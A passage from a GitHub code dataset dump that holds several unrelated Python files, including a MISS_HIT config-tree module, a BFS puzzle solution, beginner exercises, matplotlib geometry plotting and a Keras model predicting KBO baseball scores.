node.config.style_config[\"line_length\"] = options.line_length\n        if \"file_length\" in options and options.file_length:\n            node.config.style_config[\"file_length\"] = options.file_length\n        if \"tab_width\" in options and options.tab_width:\n            node.config.style_config[\"tab_width\"] = options.tab_width\n        if \"copyright_entity\" in options and options.copyright_entity:\n            node.config.style_config[\"copyright_entity\"] = \\\n                set(options.copyright_entity)\n\n\ndef apply_exclusions_up(mh, options, dirname):\n    assert isinstance(dirname, str)\n    assert dirname in tree\n    parent_dirname = os.path.dirname(dirname)\n\n    if not tree[dirname].project_root:\n        apply_exclusions_up(mh, options, parent_dirname)\n\n    apply_config(mh, options, dirname, exclusions_only=True)\n\n\ndef apply_config_up(mh, options, dirname):\n    assert isinstance(dirname, str)\n    assert dirname in tree\n    parent_dirname = os.path.dirname(dirname)\n\n    if not tree[dirname].project_root:\n        apply_config_up(mh, options, parent_dirname)\n\n    apply_config(mh, options, dirname)\n\n\ndef apply_config_down(mh, options, dirname):\n    assert isinstance(dirname, str)\n    assert dirname in tree\n\n    node = tree[dirname]\n\n    if node.subtree_included:\n        # We've already gone down this path\n        return\n\n    if DEBUG_TRACE_TREE:\n        print(\"Going down in %s\" % dirname)\n\n    dirlist = []\n    for dirent in os.scandir(dirname):\n        # Only consider directories\n        if not dirent.is_dir(follow_symlinks = False):\n            continue\n\n        # Skip hidden directories (e.g. .git)\n        if dirent.name.startswith(\".\"):\n            continue\n\n        # Skip excluded directories\n        if dirent.name in node.excluded_children:\n            continue\n\n        child_dirname = os.path.join(dirname, dirent.name)\n        dirlist.append(child_dirname)\n\n    # We assemble the list of children first, and then sort to rule\n    # out platform/python differences. See #251 for example.\n    for child_dirname in sorted(dirlist):\n        register_parent(mh, options, child_dirname)\n        apply_config(mh, options, child_dirname)\n        apply_config_down(mh, options, child_dirname)\n\n\ndef register_dir(mh, options, dirname, register_subdirs):\n    assert isinstance(mh, Message_Handler)\n    assert isinstance(dirname, str)\n    assert isinstance(register_subdirs, bool)\n\n    if DEBUG_TRACE_TREE:\n        print(\"Registering %s\" % dirname)\n\n    # First, we search upwards to find the project root.\n    if dirname not in tree:\n        register_parent(mh, options, dirname)\n\n    # We then walk up the tree from our project root to apply\n    # configuration partially (only exclusions). We do this because\n    # there may be dir_exclusions which in turn act as new project\n    # roots. For example:\n    #\n    # src (contains config and is root)\n    #   \\ foo (excluded)\n    #   \\ bar\n    #\n    # If we invoke miss_hit from src with src/foo/wibble.m we should\n    # analyze the file as requested with a default configuration\n    # (since foo is a project root).\n    apply_exclusions_up(mh, options, dirname)\n\n    # We then walk up the tree again from our (possibly different)\n    # project root, applying configuration properly this time.\n    apply_config_up(mh, options, dirname)\n\n    # Finally, we walk down from our directory (if requested) applying\n    # configuration as we go.\n    if register_subdirs:\n        apply_config_down(mh, options, dirname)\n\n\n##############################################################################\n# Public API\n##############################################################################\n\ndef get_excluded_directories(dirname):\n    assert isinstance(dirname, str)\n\n    if not os.path.exists(dirname):\n        raise ICE(\"%s does not exist\" % dirname)\n\n    elif not os.path.isdir(dirname):\n        raise ICE(\"%s is not a directory\" % dirname)\n\n    canonical_name = pathutil.abspath(dirname)\n    if canonical_name not in tree:\n        raise ICE(\"%s was not registered\" % dirname)\n\n    return tree[canonical_name].excluded_children\n\n\ndef get_config(filename):\n    assert isinstance(filename, str)\n\n    if not os.path.exists(filename):\n        raise ICE(\"%s does not exist\" % filename)\n\n    elif not os.path.isfile(filename):\n        raise ICE(\"%s is not a file\" % filename)\n\n    dirname = os.path.dirname(pathutil.abspath(filename))\n    if dirname not in tree:\n        raise ICE(\"%s was not registered\" % dirname)\n\n    return tree[dirname].config\n\n\ndef register_item(mh, name, options):\n    assert isinstance(mh, Message_Handler)\n    assert isinstance(name, str)\n\n    if not os.path.exists(name):\n        raise ICE(\"%s does not exist\" % name)\n\n    elif os.path.isfile(name):\n        register_dir(mh, options,\n                     os.path.dirname(pathutil.abspath(name)),\n                     False)\n\n    elif os.path.isdir(name):\n        register_dir(mh, options,\n                     pathutil.abspath(name),\n                     True)\n\n    else:\n        raise ICE(\"%s is neither a file or directory\")\n\n\ndef get_root(name):\n    assert isinstance(name, str)\n\n    dirname = pathutil.abspath(name)\n    if dirname not in tree:\n        raise ICE(\"%s was not registered\" % dirname)\n\n    while not tree[dirname].project_root:\n        dirname = os.path.dirname(dirname)\n\n    return dirname\n\n\ndef validate_project_config(mh):\n    for n_item in project_names.values():\n        n_item.validate(mh, project_names)\n\n\ndef get_entry_point(name):\n    # Get library or entry-point with the given name\n    if name not in project_names:\n        return None\n    return project_names[name]\n\n\ndef get_global_libraries():\n    for n_item in project_names.values():\n        if isinstance(n_item, Library_Declaration) and \\\n           n_item.is_global:\n            yield n_item\n\n\ndef get_source_path(n_item):\n    assert isinstance(n_item, (Library_Declaration,\n                               Entrypoint_Declaration))\n    item_list = []\n    for n_glib in get_global_libraries():\n        item_list += n_glib.get_source_path()\n    item_list += n_item.get_source_path()\n    return item_list\n\n\ndef get_test_path(n_item):\n    assert isinstance(n_item, (Library_Declaration,\n                               Entrypoint_Declaration))\n    item_list = []\n    for n_glib in get_global_libraries():\n        item_list += n_glib.get_test_path()\n    item_list += n_item.get_test_path()\n    return item_list\n\n\ndef get_enclosing_ep(path):\n    ap = pathutil.abspath(path)\n    for n_ep in project_names.values():\n        if ap.startswith(n_ep.directory):\n            return n_ep\n    return None\n\n\n##############################################################################\n# Sanity testing\n#############################################################################\n\ndef sanity_test():\n    # pylint: disable=import-outside-toplevel\n    from argparse import ArgumentParser\n    import traceback\n    # pylint: enable=import-outside-toplevel\n\n    ap = ArgumentParser()\n    ap.add_argument(\"item\", metavar=\"FILE|DIR\")\n    ap.add_argument(\"--no-tb\",\n                    action=\"store_true\",\n                    default=False,\n                    help=\"Do not show debug-style backtrace\")\n    options = ap.parse_args()\n\n    mh = Message_Handler(\"debug\")\n    mh.sort_messages = False\n    mh.colour = False\n\n    try:\n        register_item(mh, options.item, options)\n\n    except Error:\n        if not options.no_tb:\n            traceback.print_exc()\n\n    except ICE as ice:\n        if not options.no_tb:\n            traceback.print_exc()\n        print(\"ICE:\", ice.reason)\n\n    for dirname in sorted(tree):\n        print(\"Showing config for %s\" % dirname)\n\n        node = tree[dirname]\n        print(\"  Root: %s\" % node.project_root)\n        print(\"  File: %s\" % \", \".join(node.config_files))\n\n        cfg = node.config\n        if cfg is None:\n            print(\"  No config attached\")\n            continue\n\n        print(\"  Enabled = %s\" % cfg.enabled)\n        print(\"  Octave  = %s\" % cfg.language)\n        print(\"  Rules   = %u\" % len(cfg.style_rules))\n        print(\"  SConf   = %s\" % cfg.style_config)\n        print(\"  Metrics = %u\" % len(cfg.enabled_metrics))\n        print(\"  Limits  = %s\" % cfg.metric_limits)\n\n\nif __name__ == \"__main__\":\n    sanity_test()\n","repo_name":"florianschanda/miss_hit","sub_path":"miss_hit_core/cfg_tree.py","file_name":"cfg_tree.py","file_ext":"py","file_size_in_byte":14337,"program_lang":"python","lang":"en","doc_type":"code","stars":123,"dataset":"github-code","pt":"60"}
+{"seq_id":"39680121531","text":"import sys\nfrom collections import deque\n\ninput = sys.stdin.readline\n\nn = int(input())\nm = int(input())\n\ngraph = [[]for _  in range(n+1)]\nvisited = [False for _ in range(n+1)]\n\nfor _ in range(m):\n    vertex1, vertex2 = map(int, input().split())\n    graph[vertex1].append(vertex2)\n    graph[vertex2].append(vertex1)\n\ndef bfs():\n   count = 0\n   queue = deque()\n   visited[1] = True\n   queue.append(1)\n   while queue:\n    x = queue.popleft()\n    for i in graph[x]:\n        if not visited[i]:\n            count +=1\n            visited[i] = True\n            queue.append(i)\n    print(count)\n\nbfs()\n\n# 큐에 집어넣기전에 방문처리..\n\n\n\n\n\n","repo_name":"HelloYukyung/problem-solving","sub_path":"Python/Baekjoon/2606.py","file_name":"2606.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"20012415185","text":"zodiac_elements = {\"water\": [\"Cancer\", \"Scorpio\", \"Pisces\"], \"fire\": [\"Aries\", \"Leo\", \"Sagittarius\"], \"earth\": [\"Taurus\", \"Virgo\", \"Capricorn\"], \"air\":[\"Gemini\", \"Libra\", \"Aquarius\"]}\n\nzodiac_elements[\"energy\"] = \"Not a Zodiac element\"\n\nprint(zodiac_elements[\"energy\"])\n\ncaffeine_level = {\"espresso\": 64, \"chai\": 40, \"decaf\": 0, \"drip\": 120}\n\ncaffeine_level[\"matcha\"] = 30\n\ntry:\n  print(caffeine_level[\"matcha\"])\nexcept KeyError:\n  print(\"Unknown Caffeine Level\")\n","repo_name":"ssaulrj/codes-python","sub_path":"codeacademy-python3/dictionary/dictionary_add_try_except.py","file_name":"dictionary_add_try_except.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41100132257","text":"\n# Завдання №8. Напишіть програму, яка відкриває два файли для читання та порівнює їх вміст, виводячи рядки,\n# які є у першому файлі, але відсутні у другому.\n\nwhile True:\n    try:\n        print(\"Введіть директорію файлів, вміст котрих треба порівняти\")\n        path_1 = input(\"Директорія першого файлу: \")\n        file_1 = open(path_1, \"r\")\n\n        path_2 = input(\"Директорія другого файлу: \")\n        file_2 = open(path_2, \"r\")\n\n        new_lines = []\n        new_lines += file_1.read().strip().split(\"\\n\")\n\n        for lines_2 in file_2.read().strip().split(\"\\n\"):\n            if lines_2 not in new_lines:\n                new_lines.append(lines_2)\n            else:\n                new_lines.remove(lines_2)\n\n        result = \"\\n\".join(new_lines)\n        print()\n        print(result, \"\\n\")\n\n        file_1.close()\n        file_2.close()\n    except FileNotFoundError:\n        print(\"Файлу за даною директорією не знайдено!\\n\")\n    except KeyboardInterrupt:\n        exit_from = input(\"Ти хочеш вийти з програми?\\n0 = Вихід\\n1 = Продовжити\\n: \")\n        if exit_from == \"0\":\n            break\n        else:\n            continue\n","repo_name":"usik-sviatoslav/IT-Brains-Lessons","sub_path":"Module №2. Python Advanced/2. Обробка винятків та робота з файлами/Task 8.py","file_name":"Task 8.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"3999808281","text":"import numpy as np\nimport sympy as sy\nfrom matplotlib import collections as mc\nfrom matplotlib import pyplot as plt\n\nfrom spexy.morphism.map import IdMap\nfrom spexy.morphism.matrix import (matrix, matrixlambdify, matrixnum, rotation, sqrtmat, invmat, normalize)\n\n\ndef plot_st(ax, st, expr, cmap=plt.cm.seismic, title=None, center=None, colorbar=False):\n    \"\"\"\n    Plot a symbolic expression\n    \"\"\"\n    X = Y = np.linspace(-1, +1, 1000)\n    X, Y = np.meshgrid(X, Y)\n    s, t = st\n    Z = sy.lambdify((s, t), (expr,), 'numpy')(X, Y)[0] + 0 * X\n    kwargs = {}\n    if center is not None:\n        zmin, zmax = Z.min(), Z.max()\n        d = max(center - zmin, zmax - center)\n        if np.allclose(d, 0):\n            d += 1\n        vmin = center - d\n        vmax = center + d\n        kwargs['vmin'], kwargs['vmax'] = vmin, vmax\n    con = ax.contourf(X, Y, Z, cmap=cmap, **kwargs)\n    if colorbar:\n        plt.colorbar(con)\n    if title is not None:\n        ax.set_title(title)\n    ax.axes.set_aspect('equal')\n    ax.axis('off')\n\n\ndef plot_grid(ax, n=16, m=16, sub=10, φ=IdMap(), **kwargs):\n    xmin, xmax = -1, +1\n    ymin, ymax = -1, +1\n\n    ax.set_xlim(xmin - .01, xmax + .01)\n    ax.set_ylim(ymin - .01, ymax + .01)\n    ax.axes.set_aspect('equal')\n    ax.axis('off')\n\n    nn = sub * n\n    mm = sub * m\n    x = np.linspace(xmin, xmax, n)\n    y = np.linspace(ymin, ymax, m)\n    xx = np.linspace(xmin, xmax, nn)\n    yy = np.linspace(ymin, ymax, mm)\n\n    xyy = np.vstack([np.repeat(x, mm), np.tile(yy, n)]).T.reshape(n, mm, 2)\n    xxy = np.vstack([np.tile(xx, m), np.repeat(y, nn)]).T.reshape(m, nn, 2)\n\n    def lambdify_mapping(φ):\n        s, t = φ.xx\n        xd, yd = φ.yy\n        c = sy.symbols('c')\n        newmap = ((1 - c) * s + c * xd, (1 - c) * t + c * yd)\n\n        varphi = sy.lambdify((s, t, c), newmap, 'numpy')\n        return varphi\n\n    varphi = lambdify_mapping(φ)\n\n    def forward(xy, c):\n        ret = xy.copy()\n        xl, yl = xy[:, :, 0], xy[:, :, 1]\n        ret[:, :, 0], ret[:, :, 1] = varphi(xl, yl, c)\n        return ret\n\n    lc_xxy = mc.LineCollection([], **kwargs)\n    lc_xyy = mc.LineCollection([], **kwargs)\n    ax.add_collection(lc_xxy)\n    ax.add_collection(lc_xyy)\n\n    def draw(c):\n        lc_xxy.set_segments(forward(xxy, c))\n        lc_xyy.set_segments(forward(xyy, c))\n        return lc_xxy, lc_xyy\n\n    def init():\n        return lc_xxy, lc_xyy\n\n    return init, draw\n\n\ndef plot_background(ax, n=16, m=16, sub=10, φ=IdMap(), c=1):\n    colors = np.ones(4) * .2\n    delta = 1.15\n\n    init, draw = plot_grid(ax, n=n, m=m, sub=sub, φ=φ, colors=colors, lw=5)\n    draw(c)\n    ax.set_xlim((-delta, +delta))\n    ax.set_ylim((-delta, +delta))\n\n\ndef plot_jacobian(ax, n=16, m=16, sub=10, φ=IdMap(), mode='forward'):\n    ax0, ax1 = ax\n\n    plot_background(ax0, n, m, sub, φ, 0)\n    plot_background(ax1, n, m, sub, φ, 1)\n\n    s = np.linspace(-1, +1, n)\n    t = np.linspace(-1, +1, m)\n    s, t = np.meshgrid(s, t)\n\n    f = φ.lambdify()\n    x, y = f(s, t)\n\n    kwargs = dict(scale=1.7 * max(n, m))\n\n    o = (0 * s, 0 * s)\n    ex = (1 + 0 * s, 0 * s)\n    ey = (0 * s, 1 + 0 * s)\n\n    q0x = ax0.quiver(s, t, *o, color='k', **kwargs)\n    q0y = ax0.quiver(s, t, *o, color='r', **kwargs)\n\n    q1x = ax1.quiver(x, y, *o, color='k', **kwargs)\n    q1y = ax1.quiver(x, y, *o, color='r', **kwargs)\n\n    def set_vec(ux, uy, vx, vy):\n        q0x.set_UVC(*ux)\n        q0y.set_UVC(*uy)\n\n        q1x.set_UVC(*vx)\n        q1y.set_UVC(*vy)\n\n        return q0x, q0y, q1x, q1y\n\n    J = φ.jacobian()\n    Jinv = J.inv()\n\n    j = matrixlambdify(φ.xx, J)(s, t)\n    jinv = matrixlambdify(φ.xx, Jinv)(s, t)\n\n    R = rotation()\n\n    #  Push forward of basis vectors.\n    def draw_forward(θ):\n        Rθ = R(θ)\n        ux, uy = Rθ(ex), Rθ(ey)\n        return set_vec(\n            ux, uy,\n            j(ux), j(uy)\n        )\n\n    # Pull back of basis vectors\n    def draw_backwardx(θ):\n        Rθ = R(θ)\n        ux = normalize(j(ex))\n        uy = R(90)(ux)\n        vx, vy = Rθ(ux), Rθ(uy)\n        return set_vec(\n            jinv(vx), jinv(vy),\n            vx, vy\n        )\n\n    def draw_backwardy(θ):\n        Rθ = R(θ)\n        uy = normalize(j(ey))\n        ux = R(-90)(uy)\n        vx, vy = Rθ(ux), Rθ(uy)\n        return set_vec(\n            jinv(vx), jinv(vy),\n            vx, vy\n        )\n\n    def init():\n        return q0x, q0y, q1x, q1y\n\n    if mode == 'forward':\n        draw = draw_forward\n    elif mode == 'backwardx':\n        draw = draw_backwardx\n    elif mode == 'backwardy':\n        draw = draw_backwardy\n    else:\n        raise ValueError('Invalid mode {mode}'.format(mode=mode))\n\n    return init, draw\n\n\ndef plot_jacobian_sqrt(ax, n=16, m=16, sub=10, φ=IdMap()):\n    ax0, ax1 = ax\n\n    plot_background(ax0, n, m, sub, φ, 0)\n    plot_background(ax1, n, m, sub, φ, 1)\n\n    s = np.linspace(-1, +1, n)\n    t = np.linspace(-1, +1, m)\n    s, t = np.meshgrid(s, t)\n\n    f = φ.lambdify()\n    x, y = f(s, t)\n\n    kwargs = dict(scale=1.7 * max(n, m))\n\n    o = (0 * s, 0 * s)\n    ex = (1 + 0 * s, 0 * s)\n    ey = (0 * s, 1 + 0 * s)\n\n    q0x = ax0.quiver(s, t, *o, color='k', **kwargs)\n    q0y = ax0.quiver(s, t, *o, color='r', **kwargs)\n\n    q1x = ax1.quiver(x, y, *o, color='k', **kwargs)\n    q1y = ax1.quiver(x, y, *o, color='r', **kwargs)\n\n    def set_vec(ux, uy, vx, vy):\n        q0x.set_UVC(*ux)\n        q0y.set_UVC(*uy)\n\n        q1x.set_UVC(*vx)\n        q1y.set_UVC(*vy)\n\n        return q0x, q0y, q1x, q1y\n\n    g = φ.metric()\n    J = φ.jacobian()\n\n    j = matrixnum(φ.xx, J)(s, t)\n\n    a, b, c, d = sy.symbols('a, b, c, d')\n    M = sy.Matrix([[a, b], [c, d]])\n    minv = invmat\n    msqrt = lambda *args: sqrtmat(*args, module=np)\n\n    mat = matrix()\n\n    gxx, gxy, gyy = g[0, 0], g[0, 1], g[1, 1]\n    gxx, gxy, gyy = [sy.lambdify(φ.xx, _, 'numpy')(s, t) for _ in (gxx, gxy, gyy)]\n    jginv = minv(*msqrt(gxx, gxy, gxy, gyy))\n\n    ux, uy = mat(jginv)(ex), mat(jginv)(ey)\n    vx, vy = mat(j)(ux), mat(j)(uy)\n\n    set_vec(\n        ux, uy,\n        vx, vy\n    )\n\n\ndef plot_hodge_star(ax, n=16, m=16, sub=10, φ=IdMap()):\n    ax0, ax1 = ax\n\n    plot_background(ax0, n, m, sub, φ, 0)\n    plot_background(ax1, n, m, sub, φ, 1)\n\n    s = np.linspace(-1, +1, n)\n    t = np.linspace(-1, +1, m)\n    s, t = np.meshgrid(s, t)\n\n    f = φ.lambdify()\n    x, y = f(s, t)\n\n    kwargs = dict(scale=1.7 * max(n, m))\n\n    o = (0 * s, 0 * s)\n    ex = (1 + 0 * s, 0 * s)\n\n    q0x = ax0.quiver(s, t, *o, color='k', **kwargs)\n    q0y = ax0.quiver(s, t, *o, color='r', **kwargs)\n\n    q1x = ax1.quiver(x, y, *o, color='k', **kwargs)\n    q1y = ax1.quiver(x, y, *o, color='r', **kwargs)\n\n    def set_vec(ux, uy, vx, vy):\n        q0x.set_UVC(*ux)\n        q0y.set_UVC(*uy)\n\n        q1x.set_UVC(*vx)\n        q1y.set_UVC(*vy)\n\n        return q0x, q0y, q1x, q1y\n\n    JT = φ.jacobian().T\n    JTinv = JT.inv()\n\n    JTmat = matrixlambdify(φ.xx, JT)(s, t)\n    JTinvmat = matrixlambdify(φ.xx, JTinv)(s, t)\n\n    R = rotation()\n    H = R(90)\n\n    def draw(θ):\n        Rθ = R(θ)\n        ux = Rθ(ex)\n        vx = JTinvmat(ux)\n        vy = H(vx)\n        uy = JTmat(vy)\n        return set_vec(ux, uy, vx, vy)\n\n    def init():\n        return q0x, q0y, q1x, q1y\n\n    return init, draw\n\n\ndef plot_metric(ax, n=16, m=16, sub=10, φ=IdMap(), mode='flat'):\n    ax0, ax1 = ax\n\n    plot_background(ax0, n, m, sub, φ, 0)\n    plot_background(ax1, n, m, sub, φ, 0)\n\n    s = np.linspace(-1, +1, n)\n    t = np.linspace(-1, +1, m)\n    s, t = np.meshgrid(s, t)\n\n    g = φ.metric()\n    if mode == 'flat':\n        M = g\n    elif mode == 'sharp':\n        M = g.inv()\n    else:\n        raise ValueError\n\n    Mmat = matrixlambdify(φ.xx, M)(s, t)\n\n    kwargs = dict(scale=1.7 * max(n, m))\n\n    o = (0 * s, 0 * s)\n    ex = (1 + 0 * s, 0 * s)\n    ey = (0 * s, 1 + 0 * s)\n\n    q0x = ax0.quiver(s, t, *o, color='k', **kwargs)\n    q0y = ax0.quiver(s, t, *o, color='r', **kwargs)\n\n    q1x = ax1.quiver(s, t, *o, color='k', **kwargs)\n    q1y = ax1.quiver(s, t, *o, color='r', **kwargs)\n\n    def set_vec(ux, uy, vx, vy):\n        q0x.set_UVC(*ux)\n        q0y.set_UVC(*uy)\n\n        q1x.set_UVC(*vx)\n        q1y.set_UVC(*vy)\n\n        return q0x, q0y, q1x, q1y\n\n    R = rotation()\n\n    def draw(θ):\n        Rθ = R(θ)\n        ux = Rθ(ex)\n        uy = Rθ(ey)\n\n        vx = Mmat(Rθ(ex))\n        vy = Mmat(Rθ(ey))\n\n        return set_vec(ux, uy, vx, vy)\n\n    def init():\n        return q0x, q0y, q1x, q1y\n\n    return init, draw\n\n\nif __name__ == '__main__':\n    from spexy.morphism.maps import get_map\n\n    φ = get_map('gerritsma')\n\n    # fig = plt.figure()\n    # ax = plt.gca()\n    # init, draw = plot_grid(ax, φ=φ)\n    # draw(0.5)\n\n    h = 10\n    fig, ax = plt.subplots(1, 2, figsize=(2 * h, h))\n    plt.subplots_adjust(wspace=0.01, hspace=0.01)\n    init, draw = plot_jacobian(ax, φ=φ, mode='backwardx')\n    draw(0)\n\n    plt.show()\n","repo_name":"drufat/spexy","sub_path":"spexy/morphism/plt.py","file_name":"plt.py","file_ext":"py","file_size_in_byte":8808,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"16852275883","text":"import pyautogui\r\nfrom datetime import datetime\r\nfrom time import sleep\r\nimport sys\r\nimport keyboard\r\nimport random\r\n\r\npath = \"\"\r\ncounter = 0\r\n\r\nwith open(\"path.txt\") as f:\r\n\tpath = f.read()\r\n\r\ndef screenshot():\r\n\tglobal counter\r\n\tmyScreenshot = pyautogui.screenshot()\r\n\tmyScreenshot.save(path + '\\\\' + str(datetime.now().day) + '-ое число, [' + str(datetime.now().hour) + '-' + str(datetime.now().minute) + '] [' + str(random.randint(100, 1000)) + '].png')\r\n\tprint(\"Saved!\")\r\n\tprint(\"Screenshot count: \" + str(counter))\r\n\tcounter += 1\r\n\r\nwhile True:\r\n\tkeyboard.add_hotkey('Ctrl + 2', screenshot())\r\n\ttry:\r\n\t\tkeyboard.wait('Ctrl + Q')\r\n\texcept Exception as e:\r\n\t\tprint(e)\r\n\r\n","repo_name":"revolexGeek/Hot-Screenshot","sub_path":"ScreenApp.py","file_name":"ScreenApp.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"24635901265","text":"import torch\nimport torch.nn as nn\nfrom tensorboardX import SummaryWriter\nimport torchvision\n\nclass Resnet(nn.Module):\n    def __init__(self):\n        super(Resnet, self).__init__()\n        self.resnet = torchvision.models.resnet50(pretrained=True)\n        # for param in self.resnet.parameters():\n        #     param.requires_grad = False\n\n    # 定义前向传播过程，输入为x\n    def forward(self, x):\n        x = self.resnet(x)\n        return x\n\n\ndummy_input = torch.rand(13, 3, 100, 100) #假设输入13张3*100*100的图片\nmodel = Resnet()\nwith SummaryWriter(comment='Resnet') as w:\n    w.add_graph(model, (dummy_input, ))","repo_name":"Sue-syx/PhishCheck","sub_path":"ImgSimilarity/Siamese Network/three-layers-model/model_visible_3l.py","file_name":"model_visible_3l.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72794771712","text":"import matplotlib\nmatplotlib.use(\"TkAgg\")\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom sklearn.preprocessing import scale\nfrom sklearn.model_selection import train_test_split\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom sklearn.metrics import mean_squared_error\n\n\ndef test(model):\n    try:\n        df = pd.read_csv('KBO_test_data.csv')\n    except:\n        print(\"\"\"\n        Dataset not found in your computer.\n        Please follow the instructions.\n        \"\"\")\n        quit()\n\n    df_prescaled = df.copy()\n    df_scaled = df.drop(['def', 'atck'], axis=1)\n    df_scaled = scale(df_scaled)\n    cols = df.columns.tolist()\n    cols.remove('def')\n    cols.remove('atck')\n    df_scaled = pd.DataFrame(df_scaled, columns=cols, index=df.index)\n    df_scaled = pd.concat([df_scaled, df['def'], df['atck']], axis=1)\n    df = df_scaled.copy()\n\n    X = df.loc[:, (df.columns != 'def') & (df.columns != 'atck')]\n    y = df.loc[:, (df.columns == 'def') | (df.columns == 'atck')]\n\n    predicted_score = model.predict(X)\n\n    teamList = ['OB', 'LT', 'SS', 'HH', 'HT', 'LG', 'SK', 'WO']\n    win = [[0, '두산'],\n           [0, '롯데'],\n           [0, '삼성'],\n           [0, '한화'],\n           [0, 'KIA'],\n           [0, 'LG'],\n           [0, 'SK'],\n           [0, '넥센']]\n    scoreTable = [[0, 0, 0, 0, 0, 0, 0, 0],\n                  [0, 0, 0, 0, 0, 0, 0, 0],\n                  [0, 0, 0, 0, 0, 0, 0, 0],\n                  [0, 0, 0, 0, 0, 0, 0, 0],\n                  [0, 0, 0, 0, 0, 0, 0, 0],\n                  [0, 0, 0, 0, 0, 0, 0, 0],\n                  [0, 0, 0, 0, 0, 0, 0, 0],\n                  [0, 0, 0, 0, 0, 0, 0, 0]]\n\n    for i in range(0, 56):\n        defTeam = y.values[i][0]\n        atckTeam = y.values[i][1]\n\n        for j in range(0, 9):\n            if teamList[j] == defTeam:\n                defIdx = j\n                break\n\n        for j in range(0, 9):\n            if teamList[j] == atckTeam:\n                atckIdx = j\n                break;\n\n        scoreTable[atckIdx][defIdx] = float(predicted_score[i])\n\n    # print(scoreTable)\n\n    for i in range(0, 8):\n        for j in range(0, 8):\n            if i < j:\n                if scoreTable[i][j] > scoreTable[j][i]:\n                    win[i][0] += 3\n                elif scoreTable[i][j] == scoreTable[j][i]:\n                    win[i][0] += 1\n                    win[j][0] += 1\n                else:\n                    win[j][0] += 3\n\n    win.sort(reverse=True)\n\n    for i in range(0, 8):\n        print(str(i + 1) + \"위 : \" + str(win[i][1]))\n\n    print(\"\")\n    print(\"\")\n\n\ndef predict_random(df_prescaled, X_test, model):\n    sample = X_test.sample(n=1, random_state=np.random.randint(low=0, high=10000))\n    idx = sample.index[0]\n    actual_score = df_prescaled.loc[idx, 'score']\n    predicted_score = model.predict(sample)[0][0]\n    rmse = np.sqrt(np.square(predicted_score - actual_score))\n\n    print(\"Actual Score : {:0.2f}\".format(actual_score))\n    print(\"Predicted Score : {:0.2f}\".format(predicted_score))\n    print(\"RMSE : {:0.2f}\".format(rmse))\n\n\ndef main():\n    try:\n        print(\"Reading in the dataset. This will take some time..\")\n        df = pd.read_csv('KBO_data.csv')\n    except:\n        print(\"\"\"\n        Dataset not found in your computer.\n        Please follow the instructions.\n        \"\"\")\n        quit()\n\n    # Scale the features\n    df_prescaled = df.copy()\n    df_scaled = df.drop(['score'], axis=1)\n    df_scaled = scale(df_scaled)\n    cols = df.columns.tolist()\n    cols.remove('score')\n    df_scaled = pd.DataFrame(df_scaled, columns=cols, index=df.index)\n    df_scaled = pd.concat([df_scaled, df['score']], axis=1)\n    df = df_scaled.copy()\n\n    # Split the dataframe into a training set and testing set\n    X = df.loc[:, df.columns != 'score']\n    y = df.loc[:, 'score']\n    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\n\n    # Build neural network in Keras\n    model = Sequential()\n    model.add(Dense(256, activation='relu', input_dim=X_train.shape[1]))\n    model.add(Dense(128, activation='relu'))\n    model.add(Dense(64, activation='relu'))\n    model.add(Dense(32, activation='relu'))\n    model.add(Dense(16, activation='relu'))\n    model.add(Dense(8, activation='relu'))\n    model.add(Dense(4, activation='relu'))\n    model.add(Dense(1))\n\n    model.compile(loss='mse', optimizer='adam', metrics=['mse'])\n\n    model.fit(X_train, y_train, epochs=200)\n\n    # Results\n    train_pred = model.predict(X_train)\n    train_rmse = np.sqrt(mean_squared_error(y_train, train_pred))\n    test_pred = model.predict(X_test)\n    test_rmse = np.sqrt(mean_squared_error(y_test, test_pred))\n\n    print(\"Train RMSE : {:0.2f}\".format(train_rmse))\n    print(\"Test RMSE : {:0.2f}\".format(test_rmse))\n    print(\"--------------------------------------------\")\n\n    test(model)\n\n    \"\"\"\n    x = 1\n\n    while x == 1:\n        predict_random(df_prescaled, X_test, model)\n        x = int(input())\n    \"\"\"\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"CodeJin19/KBO_Crawler","sub_path":"machinelearning.py","file_name":"machinelearning.py","file_ext":"py","file_size_in_byte":5005,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"45575539149","text":"from . import lib\nfrom PySide import QtCore, QtGui\n\n\nclass QuickLauncher(QtGui.QMenu):\n\n    \"\"\"A menu to find and execute Maya commands and user scripts.\"\"\"\n\n    def __init__(self, *args, **kwds):\n        super(QuickLauncher, self).__init__(*args, **kwds)\n        self.init_gui()\n\n    def init_gui(self):\n        # set search field\n        self.lineEdit = QtGui.QLineEdit(self)\n        action = QtGui.QWidgetAction(self)\n        action.setDefaultWidget(self.lineEdit)\n        self.addAction(action)\n        self.lineEdit.setFocus()\n        # completion\n        items = lib.list_scripts()\n        items.extend(lib.list_commands())\n        completer = QtGui.QCompleter(items, self)\n        completer.setCompletionMode(QtGui.QCompleter.PopupCompletion)\n        completer.setCaseSensitivity(QtCore.Qt.CaseInsensitive)\n        self.lineEdit.setCompleter(completer)\n        # connect signals\n        self.lineEdit.returnPressed.connect(self.accept)\n\n    def accept(self):\n        text = self.lineEdit.text()\n        self.close()\n        if not lib.run_cmd(text):\n            lib.run_script(text)\n\n\ndef select_repo():\n    repo = QtGui.QFileDialog.getExistingDirectory(\n        caption=\"Select repository directory\",\n        parent=lib.get_parent(),\n        dir=lib.get_repo())\n    if repo:\n        lib.set_repo(repo)\n\n\ndef setup_hotkey():\n    \"\"\"Assign TAB-key to open quicklauncher\"\"\"\n    hotkey_sequence = 